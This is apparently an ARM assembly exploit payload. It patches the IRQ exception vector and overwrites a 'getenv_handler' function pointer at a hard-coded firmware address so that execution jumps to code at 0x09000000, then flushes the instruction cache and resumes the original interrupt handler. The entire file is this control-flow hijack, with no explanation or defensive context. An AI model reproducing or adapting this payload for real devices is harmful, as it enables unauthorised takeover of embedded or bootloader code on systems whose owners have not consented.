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.set getenv_handler, 0x180268E4
.set irq_handler, 0x18017920
.set irq_vector, 0x00000038

.arm
.text
_start:
.global _start

  @store original registers
  stmfd sp!, {r0-r12, LR}

  @restore irq vector
  ldr    r0, =irq_handler
  ldr    r1, =irq_vector
  str    r0, [r1]

  @change getenv_handler to load_addr
  ldr r2, =getenv_handler
  mov r3, #0x09000000
  str r3, [r2, #0]

  @clear instruction cache
  mov r0, #0
  mcr p15,0,r0,c7,c5
  nop
  nop
  nop
  nop

  @restore registers
  ldmfd sp!, {r0-r12, LR}

  @branch to original exception handler
  ldr pc, =irq_handler